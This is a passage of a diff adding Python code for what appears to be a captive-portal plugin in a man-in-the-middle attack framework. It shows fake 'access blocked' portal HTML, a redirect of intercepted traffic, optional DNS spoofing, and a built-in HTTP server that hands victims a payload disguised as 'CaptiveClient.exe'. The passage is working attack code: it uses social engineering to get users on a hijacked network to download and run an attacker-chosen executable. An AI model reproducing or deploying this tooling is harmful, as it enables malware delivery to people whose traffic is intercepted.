+ - Access has been blocked. Please download and install the new Captive Portal Client in order to access internet resources.
+
+
+Please click here if you are not redirected automatically
+ + '''.format(self.portalurl) + response.redirect(self.portalurl) + + return {'response': response, 'request':request, 'data': data} + + def options(self, options): + ''' captive can be either run redirecting to a specified url (--portalurl), serve the payload locally (no argument) or + start an instance of SimpleHTTPServer to serve the LOCALDIR (--portaldir) ''' + group = options.add_mutually_exclusive_group(required=False) + group.add_argument('--portalurl', dest='portalurl', metavar="URL", help='Specify the URL where the portal is located, e.g. http://example.com.') + group.add_argument('--portaldir', dest='portaldir', metavar="LOCALDIR", help='Specify a local path containg the portal files served with a SimpleHTTPServer on a different port (see config).') + + options.add_argument('--use-dns', dest='usedns', action='store_true', help='Whether we use dns spoofing to serve from a fancier portal URL captive.portal when used without options or portaldir. Requires DNS for "captive.portal" to resolve, e.g. via configured dns spoofing --dns.') + + def on_shutdown(self): + '''This will be called when shutting down''' + pass + + def serve_portal(self): + + self.portalurl = 'http://{}/portal.html'.format(self.hostname) + + from core.servers.HTTP import HTTP + HTTP.add_static_endpoint('portal.html','text/html', './config/captive/portal.html') + HTTP.add_static_endpoint('CaptiveClient.exe','application/octet-stream', self.config['Captive']['PayloadFilename']) + self.tree_info.append("Portal login served by built-in HTTP server.") + + + def serve_dir(self, dir): + import threading + import posixpath + import urllib + import os + from SimpleHTTPServer import SimpleHTTPRequestHandler + from BaseHTTPServer import HTTPServer as ServerClass + Protocol = "HTTP/1.0" + port = self.config['Captive']['Port'] + ServerString = self.config['Captive']['ServerString'] + + self.portalurl = "http://{}:{}/".format(self.hostname, port) + + ROUTES = (['', dir],) + class HandlerClass(SimpleHTTPRequestHandler): + '''HandlerClass adapted from https://gist.github.com/creativeaura/5546779''' + + def translate_path(self, path): + '''translate path given routes''' + + # set default root to cwd + root = os.getcwd() + + # look up routes and set root directory accordingly + for pattern, rootdir in ROUTES: + if path.startswith(pattern): + # found match! + path = path[len(pattern):] # consume path up to pattern len + root = rootdir + break + + # normalize path and prepend root directory + path = path.split('?',1)[0] + path = path.split('#',1)[0] + path = posixpath.normpath(urllib.unquote(path)) + words = path.split('/') + words = filter(None, words) + + path = root + for word in words: + drive, word = os.path.splitdrive(word) + head, word = os.path.split(word) + if word in (os.curdir, os.pardir): + continue + path = os.path.join(path, word) + + return path + + + server_address = ('0.0.0.0', int(port)) + HandlerClass.protocol_version = Protocol + HandlerClass.server_version = ServerString + + httpd = ServerClass(server_address, HandlerClass) + ServerClass.path = dir + + sa = httpd.socket.getsockname() + try: + t = threading.Thread(name='PortalServer', target=httpd.serve_forever) + t.setDaemon(True) + t.start() + self.tree_info.append("Portal Server instance running on port {} serving {}".format(port, dir)) + except Exception as e: + shutdown("Failed to start Portal Server")